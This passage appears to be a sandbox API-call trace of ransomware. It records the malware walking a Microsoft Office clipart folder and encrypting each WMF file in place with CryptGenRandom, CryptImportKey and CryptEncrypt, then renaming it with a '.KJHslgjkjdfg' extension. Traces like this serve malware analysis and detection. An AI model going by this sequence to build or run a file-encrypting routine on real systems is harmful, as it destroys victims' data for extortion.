lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.kjhslgjkjdfg")) returned 1 [0195.039] CloseHandle (hObject=0x130) returned 1 [0195.039] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0195.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.040] GetProcessHeap () returned 0x2ef0000 [0195.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.040] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.042] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.042] GetProcessHeap () returned 0x2ef0000 [0195.042] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.042] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.042] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.043] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.043] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.043] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.043] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbb4, lpOverlapped=0x0) returned 1 [0195.043] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbc0) returned 1 [0195.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.043] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbc0, lpOverlapped=0x0) returned 1 [0195.043] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.043] SetEndOfFile (hFile=0x130) returned 1 [0195.046] GetProcessHeap () returned 0x2ef0000 [0195.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.046] GetProcessHeap () returned 0x2ef0000 [0195.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.kjhslgjkjdfg")) returned 1 [0195.047] CloseHandle (hObject=0x130) returned 1 [0195.047] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0195.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.048] GetProcessHeap () returned 0x2ef0000 [0195.048] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.048] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.048] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.050] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.050] GetProcessHeap () returned 0x2ef0000 [0195.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.050] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.050] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.051] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8f8, lpOverlapped=0x0) returned 1 [0195.051] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900) returned 1 [0195.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.051] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x900, lpOverlapped=0x0) returned 1 [0195.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.052] SetEndOfFile (hFile=0x130) returned 1 [0195.053] GetProcessHeap () returned 0x2ef0000 [0195.053] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.053] GetProcessHeap () returned 0x2ef0000 [0195.053] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.kjhslgjkjdfg")) returned 1 [0195.054] CloseHandle (hObject=0x130) returned 1 [0195.054] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0195.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.055] GetProcessHeap () returned 0x2ef0000 [0195.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.055] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.057] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.057] GetProcessHeap () returned 0x2ef0000 [0195.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.057] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.057] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.058] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.058] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.058] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.058] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.058] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.058] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2174, lpOverlapped=0x0) returned 1 [0195.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180, dwBufLen=0x2180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180) returned 1 [0195.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.059] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2180, lpOverlapped=0x0) returned 1 [0195.060] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.060] SetEndOfFile (hFile=0x130) returned 1 [0195.062] GetProcessHeap () returned 0x2ef0000 [0195.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.062] GetProcessHeap () returned 0x2ef0000 [0195.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.kjhslgjkjdfg")) returned 1 [0195.064] CloseHandle (hObject=0x130) returned 1 [0195.064] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0195.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.065] GetProcessHeap () returned 0x2ef0000 [0195.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.065] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.068] GetProcessHeap () returned 0x2ef0000 [0195.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.068] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.068] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.068] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.068] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.068] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6e8, lpOverlapped=0x0) returned 1 [0195.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f0) returned 1 [0195.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.069] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6f0, lpOverlapped=0x0) returned 1 [0195.075] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.076] SetEndOfFile (hFile=0x130) returned 1 [0195.078] GetProcessHeap () returned 0x2ef0000 [0195.078] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.078] GetProcessHeap () returned 0x2ef0000 [0195.078] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.kjhslgjkjdfg")) returned 1 [0195.079] CloseHandle (hObject=0x130) returned 1 [0195.080] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, 